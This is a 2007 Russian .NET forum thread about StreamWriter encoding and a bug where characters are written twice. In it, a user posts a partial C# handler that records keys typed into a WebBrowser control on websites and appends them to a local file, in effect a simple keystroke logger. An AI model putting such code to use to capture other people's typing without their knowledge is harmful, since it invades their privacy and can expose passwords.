Модераторы: Partizan, gambit
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Вопрос про StreamWriter. Кодировка StreamWriter. 
:(
    Опции темы
NURMS
Дата 8.8.2007, 22:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 65
Регистрация: 20.4.2007

Репутация: нет
Всего: нет



Здрасте.

Вопрос такой. Как у StreamWriter поменять кодировку на 1251. А какая стоит кодировка по default и для чего она предназначена?(т.е. смена кодировок)
PM MAIL   Вверх
VitalicH
Дата 8.8.2007, 22:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 15
Регистрация: 20.7.2007
Где: Щекино

Репутация: нет
Всего: нет



вроде так
Код

StreamWriter sw = new StreamWriter(conf,Encoding.GetEncoding("Windows-1251"))


а вообще она нужна для отображения символов разных языковых форматов

Это сообщение отредактировал(а) VitalicH - 8.8.2007, 22:22
PM   Вверх
NURMS
Дата 9.8.2007, 23:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 65
Регистрация: 20.4.2007

Репутация: нет
Всего: нет



А если уточнить.(Мой недочёт).

У меня тут ещё FileInfo есть, чтобы добавлять в файл, а как в StreamWriter добавить кодировку, если там сидит этот AppendText.

Короче мне нужно считать нажатые клавиши в фокусе webBrowser, и записать их в файл. Теперь когда я на сайте ввожу "Hello World", то в файл записывает "HHeelllloo WWoorrlldd".
PM MAIL   Вверх
Naum
Дата 10.8.2007, 08:57 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 743
Регистрация: 7.9.2005
Где: Саратов, ул. Поса дского, 298

Репутация: 8
Всего: 15



NURMS, кодировка тут, ИМХО, не при чем. Ты случайно не обрабатываешь одновременно и KeyDown и KeyUp?

З.Ы. Да и вообще, код в студию. smile


--------------------
У нас всего два праздника Новый год и ТЯПница.
PM MAIL ICQ   Вверх
NURMS
Дата 10.8.2007, 23:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 65
Регистрация: 20.4.2007

Репутация: нет
Всего: нет



webBrowser1.PreviewKeyDown += new PreviewKeyDownEventHandler(webBrowser1_PreviewKeyDown);


        void webBrowser1_PreviewKeyDown(object sender, PreviewKeyDownEventArgs e)
        {
            FileInfo Key = new FileInfo(@"opt\kp.txt");

            using (StreamWriter kp = Key.AppendText())
            {
                if (e.Shift)
                {
                    if (e.KeyCode == Keys.A)
                    {
                        kp.Write("A");
                    }
                    ...
                }
                else
                { 
                    if (e.KeyCode == Keys.A)
                    {
                        kp.Write("a");
                    }
                }
                ...
            }
        }

Кто скажет, что тут обрабатывается и KeyDown и KeyUp, пусть первым напишет Гейтсу жалобу. smile 
Прошу на if  - ы не жаловаться. Проблема не в них. Они выполняются как подобает.
Кстати на этот shift найдётся алгоритм оптимальней? На мой взгляд слишком громоздко и примитивно.
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Прежде чем создать тему, посмотрите сюда:
mr.DUDA
THandle

Используйте теги [code=csharp][/code] для подсветки кода. Используйтe чекбокс "транслит" если у Вас нет русских шрифтов.
Что делать если Вам помогли, но отблагодарить помощника плюсом в репутацию Вы не можете(не хватает сообщений)? Пишите сюда, или отправляйте репорт. Поставим :)
Так же не забывайте отмечать свой вопрос решенным, если он таковым является :)


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, mr.DUDA, THandle.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Общие вопросы по .NET и C# | Следующая тема »


 




[ Время генерации скрипта: 0.0492 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.